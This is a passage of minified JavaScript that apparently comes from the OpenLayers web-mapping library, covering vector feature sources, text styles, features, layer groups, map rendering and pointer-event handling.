0===n.wrapX||n.wrapX})||this).on,i.once,i.un,i.loader_=p,i.format_=n.format,i.overlaps_=void 0===n.overlaps||n.overlaps,i.url_=n.url,void 0!==n.loader?i.loader_=n.loader:void 0!==i.url_&&(xt(i.format_,7),i.loader_=ma(i.url_,i.format_)),i.strategy_=void 0!==n.strategy?n.strategy:va;var o,r,s=void 0===n.useSpatialIndex||n.useSpatialIndex;return i.featuresRtree_=s?new ga:null,i.loadedExtentsRtree_=new ga,i.loadingExtentsCount_=0,i.nullGeometryFeatures_={},i.idIndex_={},i.uidIndex_={},i.featureChangeKeys_={},i.featuresCollection_=null,Array.isArray(n.features)?r=n.features:n.features&&(r=(o=n.features).getArray()),s||void 0!==o||(o=new da(r)),void 0!==r&&i.addFeaturesInternal(r),void 0!==o&&i.bindFeaturesCollection_(o),i}return xa(i,t),i.prototype.addFeature=function(t){this.addFeatureInternal(t),this.changed()},i.prototype.addFeatureInternal=function(t){var e=D(t);if(this.addToIndex_(e,t)){this.setupChangeEvents_(e,t);var i=t.getGeometry();if(i){var n=i.getExtent();this.featuresRtree_&&this.featuresRtree_.insert(n,t)}else this.nullGeometryFeatures_[e]=t;this.dispatchEvent(new Ca(_a,t))}else this.featuresCollection_&&this.featuresCollection_.remove(t)},i.prototype.setupChangeEvents_=function(t,i){this.featureChangeKeys_[t]=[O(i,x,this.handleFeatureChange_,this),O(i,e,this.handleFeatureChange_,this)]},i.prototype.addToIndex_=function(t,e){var i=!0,n=e.getId();return void 0!==n&&(n.toString()in this.idIndex_?i=!1:this.idIndex_[n.toString()]=e),i&&(xt(!(t in this.uidIndex_),30),this.uidIndex_[t]=e),i},i.prototype.addFeatures=function(t){this.addFeaturesInternal(t),this.changed()},i.prototype.addFeaturesInternal=function(t){for(var e=[],i=[],n=[],o=0,r=t.length;o<r;o++){var s=D(l=t[o]);this.addToIndex_(s,l)&&i.push(l)}o=0;for(var a=i.length;o<a;o++){var l;s=D(l=i[o]),this.setupChangeEvents_(s,l);var h=l.getGeometry();if(h){var u=h.getExtent();e.push(u),n.push(l)}else this.nullGeometryFeatures_[s]=l}if(this.featuresRtree_&&this.featuresRtree_.load(e,n),this.hasListener(_a)){o=0;for(var c=i.length;o<c;o++)this.dispatchEvent(new Ca(_a,i[o]))}},i.prototype.bindFeaturesCollection_=function(t){var e=!1;this.addEventListener(_a,(function(i){e||(e=!0,t.push(i.feature),e=!1)})),this.addEventListener(ya,(function(i){e||(e=!0,t.remove(i.feature),e=!1)})),t.addEventListener(ha,function(t){e||(e=!0,this.addFeature(t.element),e=!1)}.bind(this)),t.addEventListener(ua,function(t){e||(e=!0,this.removeFeature(t.element),e=!1)}.bind(this)),this.featuresCollection_=t},i.prototype.clear=function(t){if(t){for(var e in this.featureChangeKeys_)this.featureChangeKeys_[e].forEach(P);this.featuresCollection_||(this.featureChangeKeys_={},this.idIndex_={},this.uidIndex_={})}else if(this.featuresRtree_){var i=function(t){this.removeFeatureInternal(t)}.bind(this);for(var n in this.featuresRtree_.forEach(i),this.nullGeometryFeatures_)this.removeFeatureInternal(this.nullGeometryFeatures_[n])}this.featuresCollection_&&this.featuresCollection_.clear(),this.featuresRtree_&&this.featuresRtree_.clear(),this.nullGeometryFeatures_={};var o=new Ca("clear");this.dispatchEvent(o),this.changed()},i.prototype.forEachFeature=function(t){if(this.featuresRtree_)return this.featuresRtree_.forEach(t);this.featuresCollection_&&this.featuresCollection_.forEach(t)},i.prototype.forEachFeatureAtCoordinateDirect=function(t,e){var i=[t[0],t[1],t[0],t[1]];return this.forEachFeatureInExtent(i,(function(i){return i.getGeometry().intersectsCoordinate(t)?e(i):void 0}))},i.prototype.forEachFeatureInExtent=function(t,e){if(this.featuresRtree_)return this.featuresRtree_.forEachInExtent(t,e);this.featuresCollection_&&this.featuresCollection_.forEach(e)},i.prototype.forEachFeatureIntersectingExtent=function(t,e){return this.forEachFeatureInExtent(t,(function(i){if(i.getGeometry().intersectsExtent(t)){var n=e(i);if(n)return n}}))},i.prototype.getFeaturesCollection=function(){return this.featuresCollection_},i.prototype.getFeatures=function(){var t;return this.featuresCollection_?t=this.featuresCollection_.getArray().slice(0):this.featuresRtree_&&(t=this.featuresRtree_.getAll(),_(this.nullGeometryFeatures_)||l(t,g(this.nullGeometryFeatures_))),t},i.prototype.getFeaturesAtCoordinate=function(t){var e=[];return this.forEachFeatureAtCoordinateDirect(t,(function(t){e.push(t)})),e},i.prototype.getFeaturesInExtent=function(t,e){var i=this;if(this.featuresRtree_){if(!(e&&e.canWrapX()&&this.getWrapX()))return this.featuresRtree_.getInExtent(t);var n=function(t,e){if(e.canWrapX()){var i=e.getExtent();if(!isFinite(t[0])||!isFinite(t[2]))return[[i[0],t[1],i[2],t[3]]];ze(t,e);var n=ke(i);if(ke(t)>n)return[[i[0],t[1],i[2],t[3]]];if(t[0]<i[0])return[[t[0]+n,t[1],i[2],t[3]],[i[0],t[1],t[2],t[3]]];if(t[2]>i[2])return[[t[0],t[1],i[2],t[3]],[i[0],t[1],t[2]-n,t[3]]]}return[t]}(t,e);return[].concat.apply([],n.map((function(t){return i.featuresRtree_.getInExtent(t)})))}return this.featuresCollection_?this.featuresCollection_.getArray().slice(0):[]},i.prototype.getClosestFeatureToCoordinate=function(t,e){var i=t[0],n=t[1],o=null,r=[NaN,NaN],s=1/0,a=[-1/0,-1/0,1/0,1/0],l=e||u;return this.featuresRtree_.forEachInExtent(a,(function(t){if(l(t)){var e=t.getGeometry(),h=s;if((s=e.closestPointXY(i,n,r,s))<h){o=t;var u=Math.sqrt(s);a[0]=i-u,a[1]=n-u,a[2]=i+u,a[3]=n+u}}})),o},i.prototype.getExtent=function(t){return this.featuresRtree_.getExtent(t)},i.prototype.getFeatureById=function(t){var e=this.idIndex_[t.toString()];return void 0!==e?e:null},i.prototype.getFeatureByUid=function(t){var e=this.uidIndex_[t];return void 0!==e?e:null},i.prototype.getFormat=function(){return this.format_},i.prototype.getOverlaps=function(){return this.overlaps_},i.prototype.getUrl=function(){return this.url_},i.prototype.handleFeatureChange_=function(t){var e=t.target,i=D(e),n=e.getGeometry();if(n){var o=n.getExtent();i in this.nullGeometryFeatures_?(delete this.nullGeometryFeatures_[i],this.featuresRtree_&&this.featuresRtree_.insert(o,e)):this.featuresRtree_&&this.featuresRtree_.update(o,e)}else i in this.nullGeometryFeatures_||(this.featuresRtree_&&this.featuresRtree_.remove(e),this.nullGeometryFeatures_[i]=e);var r=e.getId();if(void 0!==r){var s=r.toString();this.idIndex_[s]!==e&&(this.removeFromIdIndex_(e),this.idIndex_[s]=e)}else this.removeFromIdIndex_(e),this.uidIndex_[i]=e;this.changed(),this.dispatchEvent(new Ca("changefeature",e))},i.prototype.hasFeature=function(t){var e=t.getId();return void 0!==e?e in this.idIndex_:D(t)in this.uidIndex_},i.prototype.isEmpty=function(){return this.featuresRtree_?this.featuresRtree_.isEmpty()&&_(this.nullGeometryFeatures_):!this.featuresCollection_||0===this.featuresCollection_.getLength()},i.prototype.loadFeatures=function(t,e,i){for(var n=this.loadedExtentsRtree_,o=this.strategy_(t,e,i),r=function(t,r){var a=o[t];n.forEachInExtent(a,(function(t){return de(t.extent,a)}))||(++s.loadingExtentsCount_,s.dispatchEvent(new Ca("featuresloadstart")),s.loader_.call(s,a,e,i,function(t){--this.loadingExtentsCount_,this.dispatchEvent(new Ca("featuresloadend",void 0,t))}.bind(s),function(){--this.loadingExtentsCount_,this.dispatchEvent(new Ca("featuresloaderror"))}.bind(s)),n.insert(a,{extent:a.slice()}))},s=this,a=0,l=o.length;a<l;++a)r(a);this.loading=!(this.loader_.length<4)&&this.loadingExtentsCount_>0},i.prototype.refresh=function(){this.clear(!0),this.loadedExtentsRtree_.clear(),t.prototype.refresh.call(this)},i.prototype.removeLoadedExtent=function(t){var e,i=this.loadedExtentsRtree_;i.forEachInExtent(t,(function(i){if(xe(i.extent,t))return e=i,!0})),e&&i.remove(e)},i.prototype.removeFeature=function(t){if(t){var e=D(t);e in this.nullGeometryFeatures_?delete this.nullGeometryFeatures_[e]:this.featuresRtree_&&this.featuresRtree_.remove(t),this.removeFeatureInternal(t)&&this.changed()}},i.prototype.removeFeatureInternal=function(t){var e=D(t),i=this.featureChangeKeys_[e];if(i){i.forEach(P),delete this.featureChangeKeys_[e];var n=t.getId();return void 0!==n&&delete this.idIndex_[n.toString()],delete this.uidIndex_[e],this.dispatchEvent(new Ca(ya,t)),t}},i.prototype.removeFromIdIndex_=function(t){var e=!1;for(var i in this.idIndex_)if(this.idIndex_[i]===t){delete this.idIndex_[i],e=!0;break}return e},i.prototype.setLoader=function(t){this.loader_=t},i.prototype.setUrl=function(t){xt(this.format_,7),this.url_=t,this.setLoader(ma(t,this.format_))},i}(Ns),Sa=function(){function t(t){var e=t||{};this.font_=e.font,this.rotation_=e.rotation,this.rotateWithView_=e.rotateWithView,this.scale_=e.scale,this.scaleArray_=Lo(void 0!==e.scale?e.scale:1),this.text_=e.text,this.textAlign_=e.textAlign,this.justify_=e.justify,this.textBaseline_=e.textBaseline,this.fill_=void 0!==e.fill?e.fill:new cr({color:"#333"}),this.maxAngle_=void 0!==e.maxAngle?e.maxAngle:Math.PI/4,this.placement_=void 0!==e.placement?e.placement:"point",this.overflow_=!!e.overflow,this.stroke_=void 0!==e.stroke?e.stroke:null,this.offsetX_=void 0!==e.offsetX?e.offsetX:0,this.offsetY_=void 0!==e.offsetY?e.offsetY:0,this.backgroundFill_=e.backgroundFill?e.backgroundFill:null,this.backgroundStroke_=e.backgroundStroke?e.backgroundStroke:null,this.padding_=void 0===e.padding?null:e.padding}return t.prototype.clone=function(){var e=this.getScale();return new t({font:this.getFont(),placement:this.getPlacement(),maxAngle:this.getMaxAngle(),overflow:this.getOverflow(),rotation:this.getRotation(),rotateWithView:this.getRotateWithView(),scale:Array.isArray(e)?e.slice():e,text:this.getText(),textAlign:this.getTextAlign(),justify:this.getJustify(),textBaseline:this.getTextBaseline(),fill:this.getFill()?this.getFill().clone():void 0,stroke:this.getStroke()?this.getStroke().clone():void 0,offsetX:this.getOffsetX(),offsetY:this.getOffsetY(),backgroundFill:this.getBackgroundFill()?this.getBackgroundFill().clone():void 0,backgroundStroke:this.getBackgroundStroke()?this.getBackgroundStroke().clone():void 0,padding:this.getPadding()||void 0})},t.prototype.getOverflow=function(){return this.overflow_},t.prototype.getFont=function(){return this.font_},t.prototype.getMaxAngle=function(){return this.maxAngle_},t.prototype.getPlacement=function(){return this.placement_},t.prototype.getOffsetX=function(){return this.offsetX_},t.prototype.getOffsetY=function(){return this.offsetY_},t.prototype.getFill=function(){return this.fill_},t.prototype.getRotateWithView=function(){return this.rotateWithView_},t.prototype.getRotation=function(){return this.rotation_},t.prototype.getScale=function(){return this.scale_},t.prototype.getScaleArray=function(){return this.scaleArray_},t.prototype.getStroke=function(){return this.stroke_},t.prototype.getText=function(){return this.text_},t.prototype.getTextAlign=function(){return this.textAlign_},t.prototype.getJustify=function(){return this.justify_},t.prototype.getTextBaseline=function(){return this.textBaseline_},t.prototype.getBackgroundFill=function(){return this.backgroundFill_},t.prototype.getBackgroundStroke=function(){return this.backgroundStroke_},t.prototype.getPadding=function(){return this.padding_},t.prototype.setOverflow=function(t){this.overflow_=t},t.prototype.setFont=function(t){this.font_=t},t.prototype.setMaxAngle=function(t){this.maxAngle_=t},t.prototype.setOffsetX=function(t){this.offsetX_=t},t.prototype.setOffsetY=function(t){this.offsetY_=t},t.prototype.setPlacement=function(t){this.placement_=t},t.prototype.setRotateWithView=function(t){this.rotateWithView_=t},t.prototype.setFill=function(t){this.fill_=t},t.prototype.setRotation=function(t){this.rotation_=t},t.prototype.setScale=function(t){this.scale_=t,this.scaleArray_=Lo(void 0!==t?t:1)},t.prototype.setStroke=function(t){this.stroke_=t},t.prototype.setText=function(t){this.text_=t},t.prototype.setTextAlign=function(t){this.textAlign_=t},t.prototype.setJustify=function(t){this.justify_=t},t.prototype.setTextBaseline=function(t){this.textBaseline_=t},t.prototype.setBackgroundFill=function(t){this.backgroundFill_=t},t.prototype.setBackgroundStroke=function(t){this.backgroundStroke_=t},t.prototype.setPadding=function(t){this.padding_=t},t}(),Ea=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ta=function(t){function e(e){var i=t.call(this)||this;if(i.on,i.once,i.un,i.id_=void 0,i.geometryName_="geometry",i.style_=null,i.styleFunction_=void 0,i.geometryChangeKey_=null,i.addChangeListener(i.geometryName_,i.handleGeometryChanged_),e)if("function"==typeof e.getSimplifiedGeometry){var n=e;i.setGeometry(n)}else{var o=e;i.setProperties(o)}return i}return Ea(e,t),e.prototype.clone=function(){var t=new e(this.hasProperties()?this.getProperties():null);t.setGeometryName(this.getGeometryName());var i=this.getGeometry();i&&t.setGeometry(i.clone());var n=this.getStyle();return n&&t.setStyle(n),t},e.prototype.getGeometry=function(){return this.get(this.geometryName_)},e.prototype.getId=function(){return this.id_},e.prototype.getGeometryName=function(){return this.geometryName_},e.prototype.getStyle=function(){return this.style_},e.prototype.getStyleFunction=function(){return this.styleFunction_},e.prototype.handleGeometryChange_=function(){this.changed()},e.prototype.handleGeometryChanged_=function(){this.geometryChangeKey_&&(P(this.geometryChangeKey_),this.geometryChangeKey_=null);var t=this.getGeometry();t&&(this.geometryChangeKey_=O(t,x,this.handleGeometryChange_,this)),this.changed()},e.prototype.setGeometry=function(t){this.set(this.geometryName_,t)},e.prototype.setStyle=function(t){var e,i;this.style_=t,this.styleFunction_=t?"function"==typeof(e=t)?e:(Array.isArray(e)?i=e:(xt("function"==typeof e.getZIndex,41),i=[e]),function(){return i}):void 0,this.changed()},e.prototype.setId=function(t){this.id_=t,this.changed()},e.prototype.setGeometryName=function(t){this.removeChangeListener(this.geometryName_,this.handleGeometryChanged_),this.geometryName_=t,this.addChangeListener(this.geometryName_,this.handleGeometryChanged_),this.handleGeometryChanged_()},e}(G),ba=Ta,Oa=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ra=function(t){function e(e){var i=t.call(this)||this;return i.map_=e,i}return Oa(e,t),e.prototype.dispatchRenderEvent=function(t,e){L()},e.prototype.calculateMatrices2D=function(t){var e=t.viewState,i=t.coordinateToPixelTransform,n=t.pixelToCoordinateTransform;Ii(i,t.size[0]/2,t.size[1]/2,1/e.resolution,-1/e.resolution,-e.rotation,-e.center[0],-e.center[1]),Mi(n,i)},e.prototype.forEachFeatureAtCoordinate=function(t,e,i,n,o,r,s,a){var l,h=e.viewState;function u(t,e,i,n){return o.call(r,e,t?i:null,n)}var c=h.projection,p=Ne(t.slice(),c),f=[[0,0]];if(c.canWrapX()&&n){var d=ke(c.getExtent());f.push([-d,0],[d,0])}for(var g=e.layerStatesArray,_=g.length,y=[],v=[],m=0;m<f.length;m++)for(var x=_-1;x>=0;--x){var C=g[x],w=C.layer;if(w.hasRenderer()&&jt(C,h)&&s.call(a,w)){var S=w.getRenderer(),E=w.getSource();if(S&&E){var T=E.getWrapX()?p:t,b=u.bind(null,C.managed);v[0]=T[0]+f[m][0],v[1]=T[1]+f[m][1],l=S.forEachFeatureAtCoordinate(v,e,i,b,y)}if(l)return l}}if(0!==y.length){var O=1/y.length;return y.forEach((function(t,e){return t.distanceSq+=e*O})),y.sort((function(t,e){return t.distanceSq-e.distanceSq})),y.some((function(t){return l=t.callback(t.feature,t.layer,t.geometry)})),l}},e.prototype.forEachLayerAtPixel=function(t,e,i,n,o){return L()},e.prototype.hasFeatureAtCoordinate=function(t,e,i,n,o,r){return void 0!==this.forEachFeatureAtCoordinate(t,e,i,n,u,this,o,r)},e.prototype.getMap=function(){return this.map_},e.prototype.renderFrame=function(t){L()},e.prototype.scheduleExpireIconCache=function(t){_s.canExpireCache()&&t.postRenderFunctions.push(Pa)},e}(o);function Pa(t,e){_s.expire()}var Ia=Ra,Ma=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Fa=function(t){function i(i){var n=t.call(this,i)||this;n.fontChangeListenerKey_=O(Jo,e,i.redrawText.bind(i)),n.element_=document.createElement("div");var o=n.element_.style;o.position="absolute",o.width="100%",o.height="100%",o.zIndex="0",n.element_.className=nt+" ol-layers";var r=i.getViewport();return r.insertBefore(n.element_,r.firstChild||null),n.children_=[],n.renderedVisible_=!0,n}return Ma(i,t),i.prototype.dispatchRenderEvent=function(t,e){var i=this.getMap();if(i.hasListener(t)){var n=new Jn(t,void 0,e);i.dispatchEvent(n)}},i.prototype.disposeInternal=function(){P(this.fontChangeListenerKey_),this.element_.parentNode.removeChild(this.element_),t.prototype.disposeInternal.call(this)},i.prototype.renderFrame=function(t){if(t){this.calculateMatrices2D(t),this.dispatchRenderEvent(At,t);var e=t.layerStatesArray.sort((function(t,e){return t.zIndex-e.zIndex})),i=t.viewState;this.children_.length=0;for(var n=[],o=null,r=0,s=e.length;r<s;++r){var a=e[r];t.layerIndex=r;var l=a.layer,h=l.getSourceState();if(!jt(a,i)||"ready"!=h&&"undefined"!=h)l.unrender();else{var u=l.render(t,o);u&&(u!==o&&(this.children_.push(u),o=u),"getDeclutter"in l&&n.push(l))}}for(r=n.length-1;r>=0;--r)n[r].renderDeclutter(t);!function(t,e){for(var i=t.childNodes,n=0;;++n){var o=i[n],r=e[n];if(!o&&!r)break;o!==r&&(o?r?t.insertBefore(r,o):(t.removeChild(o),--n):t.appendChild(r))}}(this.element_,this.children_),this.dispatchRenderEvent("postcompose",t),this.renderedVisible_||(this.element_.style.display="",this.renderedVisible_=!0),this.scheduleExpireIconCache(t)}else this.renderedVisible_&&(this.element_.style.display="none",this.renderedVisible_=!1)},i.prototype.forEachLayerAtPixel=function(t,e,i,n,o){for(var r=e.viewState,s=e.layerStatesArray,a=s.length-1;a>=0;--a){var l=s[a],h=l.layer;if(h.hasRenderer()&&jt(l,r)&&o(h)){var u=h.getRenderer().getDataAtPixel(t,e,i);if(u){var c=n(h,u);if(c)return c}}}},i}(Ia),La=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Aa=function(t){function e(e,i){var n=t.call(this,e)||this;return n.layer=i,n}return La(e,t),e}(t),Da="layers",ka=function(t){function i(e){var i=this,n=e||{},o=f({},n);delete o.layers;var r=n.layers;return(i=t.call(this,o)||this).on,i.once,i.un,i.layersListenerKeys_=[],i.listenerKeys_={},i.addChangeListener(Da,i.handleLayersChanged_),r?Array.isArray(r)?r=new da(r.slice(),{unique:!0}):xt("function"==typeof r.getArray,43):r=new da(void 0,{unique:!0}),i.setLayers(r),i}return La(i,t),i.prototype.handleLayerChange_=function(){this.changed()},i.prototype.handleLayersChanged_=function(){this.layersListenerKeys_.forEach(P),this.layersListenerKeys_.length=0;var t=this.getLayers();for(var e in this.layersListenerKeys_.push(O(t,ha,this.handleLayersAdd_,this),O(t,ua,this.handleLayersRemove_,this)),this.listenerKeys_)this.listenerKeys_[e].forEach(P);d(this.listenerKeys_);for(var i=t.getArray(),n=0,o=i.length;n<o;n++){var r=i[n];this.registerLayerListeners_(r),this.dispatchEvent(new Aa("addlayer",r))}this.changed()},i.prototype.registerLayerListeners_=function(t){var n=[O(t,e,this.handleLayerChange_,this),O(t,x,this.handleLayerChange_,this)];t instanceof i&&n.push(O(t,"addlayer",this.handleLayerGroupAdd_,this),O(t,"removelayer",this.handleLayerGroupRemove_,this)),this.listenerKeys_[D(t)]=n},i.prototype.handleLayerGroupAdd_=function(t){this.dispatchEvent(new Aa("addlayer",t.layer))},i.prototype.handleLayerGroupRemove_=function(t){this.dispatchEvent(new Aa("removelayer",t.layer))},i.prototype.handleLayersAdd_=function(t){var e=t.element;this.registerLayerListeners_(e),this.dispatchEvent(new Aa("addlayer",e)),this.changed()},i.prototype.handleLayersRemove_=function(t){var e=t.element,i=D(e);this.listenerKeys_[i].forEach(P),delete this.listenerKeys_[i],this.dispatchEvent(new Aa("removelayer",e)),this.changed()},i.prototype.getLayers=function(){return this.get(Da)},i.prototype.setLayers=function(t){var e=this.getLayers();if(e)for(var i=e.getArray(),n=0,o=i.length;n<o;++n)this.dispatchEvent(new Aa("removelayer",i[n]));this.set(Da,t)},i.prototype.getLayersArray=function(t){var e=void 0!==t?t:[];return this.getLayers().forEach((function(t){t.getLayersArray(e)})),e},i.prototype.getLayerStatesArray=function(t){var e=void 0!==t?t:[],i=e.length;this.getLayers().forEach((function(t){t.getLayerStatesArray(e)}));var n=this.getLayerState(),o=n.zIndex;t||void 0!==n.zIndex||(o=0);for(var r=i,s=e.length;r<s;r++){var a=e[r];a.opacity*=n.opacity,a.visible=a.visible&&n.visible,a.maxResolution=Math.min(a.maxResolution,n.maxResolution),a.minResolution=Math.max(a.minResolution,n.minResolution),a.minZoom=Math.max(a.minZoom,n.minZoom),a.maxZoom=Math.min(a.maxZoom,n.maxZoom),void 0!==n.extent&&(void 0!==a.extent?a.extent=Le(a.extent,n.extent):a.extent=n.extent),void 0===a.zIndex&&(a.zIndex=o)}return e},i.prototype.getSourceState=function(){return"ready"},i}(Lt),ja=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ga=function(t){function e(e,i,n){var o=t.call(this,e)||this;return o.map=i,o.frameState=void 0!==n?n:null,o}return ja(e,t),e}(t),za=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Wa=function(t){function e(e,i,n,o,r,s){var a=t.call(this,e,i,r)||this;return a.originalEvent=n,a.pixel_=null,a.coordinate_=null,a.dragging=void 0!==o&&o,a.activePointers=s,a}return za(e,t),Object.defineProperty(e.prototype,"pixel",{get:function(){return this.pixel_||(this.pixel_=this.map.getEventPixel(this.originalEvent)),this.pixel_},set:function(t){this.pixel_=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"coordinate",{get:function(){return this.coordinate_||(this.coordinate_=this.map.getCoordinateFromPixel(this.pixel)),this.coordinate_},set:function(t){this.coordinate_=t},enumerable:!1,configurable:!0}),e.prototype.preventDefault=function(){t.prototype.preventDefault.call(this),"preventDefault"in this.originalEvent&&this.originalEvent.preventDefault()},e.prototype.stopPropagation=function(){t.prototype.stopPropagation.call(this),"stopPropagation"in this.originalEvent&&this.originalEvent.stopPropagation()},e}(Ga),Xa={SINGLECLICK:"singleclick",CLICK:w,DBLCLICK:"dblclick",POINTERDRAG:"pointerdrag",POINTERMOVE:"pointermove",POINTERDOWN:"pointerdown",POINTERUP:"pointerup",POINTEROVER:"pointerover",POINTEROUT:"pointerout",POINTERENTER:"pointerenter",POINTERLEAVE:"pointerleave",POINTERCANCEL:"pointercancel"},Na=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ya=function(t){function e(e,i){var n=t.call(this,e)||this;n.map_=e,n.clickTimeoutId_,n.emulateClicks_=!1,n.dragging_=!1,n.dragListenerKeys_=[],n.moveTolerance_=void 0===i?1:i,n.down_=null;var o=n.map_.getViewport();return n.activePointers_=[],n.trackedTouches_={},n.element_=o,n.pointerdownListenerKey_=O(o,Nt,n.handlePointerDown_,n),n.originalPointerMoveEvent_,n.relayedListenerKey_=O(o,Xt,n.relayMoveEvent_,n),n.boundHandleTouchMove_=n.handleTouchMove_.bind(n),n.element_.addEventListener(T,n.boundHandleTouchMove_,!!H&&{passive:!1}),n}return Na(e,t),e.prototype.emulateClick_=function(t){var e=new Wa(Xa.CLICK,this.map_,t);this.dispatchEvent(e),void 0!==this.clickTimeoutId_?(clearTimeout(this.clickTimeoutId_),this.clickTimeoutId_=void 0,e=new Wa(Xa.DBLCLICK,this.map_,t),this.dispatchEvent(e)):this.clickTimeoutId_=setTimeout(function(){this.clickTimeoutId_=void 0;var e=new Wa(Xa.SINGLECLICK,this.map_,t);this.dispatchEvent(e)}.bind(this),250)},e.prototype.updateActivePointers_=function(t){var e=t,i=e.pointerId;if(e.type==Xa.POINTERUP||e.type==Xa.POINTERCANCEL){for(var n in delete this.trackedTouches_[i],this.trackedTouches_)if(this.trackedTouches_[n].target!==e.target){delete this.trackedTouches_[n];break}}else e.type!=Xa.POINTERDOWN&&e.type!=Xa.POINTERMOVE||(this.trackedTouches_[i]=e);this.activePointers_=g(this.trackedTouches_)},e.prototype.handlePointerUp_=function(t){this.updateActivePointers_(t);var e=new Wa(Xa.POINTERUP,this.map_,t,void 0,void 0,this.activePointers_);this.dispatchEvent(e),this.emulateClicks_&&!e.defaultPrevented&&!this.dragging_&&this.isMouseActionButton_(t)&&this.emulateClick_(this.down_),0===this.activePointers_.length&&(this.dragListenerKeys_.forEach(P),this.dragListenerKeys_.length=0,this.dragging_=!1,this.down_=null)},e.prototype.isMouseActionButton_=function(t){return 0===t.button},e.prototype.handlePointerDown_=function(t){this.emulateClicks_=0===this.activePointers_.length,this.updateActivePointers_(t);var e=new Wa(Xa.POINTERDOWN,this.map_,t,void 0,void 0,this.activePointers_);for(var i in this.dispatchEvent(e),this.down_={},t){var n=t[i];this.down_[i]="function"==typeof n?p:n}if(0===this.dragListenerKeys_.length){var o=this.map_.getOwnerDocument();this.dragListenerKeys_.push(O(o,Xa.POINTERMOVE,this.handlePointerMove_,this),O(o,Xa.POINTERUP,this.handlePointerUp_,this),O(this.element_,Xa.POINTERCANCEL,this.handlePointerUp_,this)),this.element_.getRootNode&&this.element_.getRootNode()!==o&&this.dragListenerKeys_.push(O(this.element_.getRootNode(),Xa.POINTERUP,this.handlePointerUp_,this))}},e.prototype.handlePointerMove_=function(t){if(this.isMoving_(t)){this.updateActivePointers_(t),this.dragging_=!0;var e=new Wa(Xa.POINTERDRAG,this.map_,t,this.dragging_,void 0,this.activePointers_);this.dispatchEvent(e)}},e.prototype.relayMoveEvent_=function(t){this.originalPointerMoveEvent_=t;var e=!(!this.down_||!this.isMoving_(t));this.dispatchEvent(new Wa(Xa.POINTERMOVE,this.map_,t,e))},e.prototype.handleTouchMove_=function(t){var e=this.originalPointerMoveEvent_;e&&!e.defaultPrevented||"boolean"==typeof t.cancelable&&!0!==t.cancelable||t.preventDefault()},e.prototype.isMoving_=function(t){return this.dragging_||Math.abs(t.clientX-this.down_.clientX)>this.moveTolerance_||Math.abs(t.clientY-this.down_.clientY)>this.moveTolerance_},e.prototype.disposeInternal=function(){this.relayedListenerKey_&&(P(this.relayedListenerKey_),this.relayedListenerKey_=null),this.element_.removeEventListener(T,this.boundHandleTouchMove_),this.pointerdownListenerKey_&&(P(this.pointerdownListenerKey_),this.pointerdownListenerKey_=null),this.dragListenerKeys_.forEach(P),this.dragListenerKeys_.length=0,this.element_=null,t.prototype.disposeInternal.call(this)},e}(m),Ba="layergroup",Ka="size",Za="target",Va="view",Ua=1/0,Ha=function(){function t(t,e){this.priorityFunction_=t,this.keyFunction_=e,this.elements_=[],this.priorities_=[],this.queuedElements_={}}return t.prototype.clear=function(){this.elements_.length=0,this.priorities_.length=0,d(this.queuedElements_)},t.prototype.dequeue=function(){var t=this.elements_,e=this.priorities_,i=t[0];1==t.length?(t.length=0,e.length=0):(t[0]=t.pop(),e[0]=e.pop(),this.siftUp_(0));var n=this.keyFunction_(i);return delete this.queuedElements_[n],i},t.prototype.enqueue=function(t){xt(!(this.keyFunction_(t)in this.queuedElements_),31);var e=this.priorityFunction_(t);return 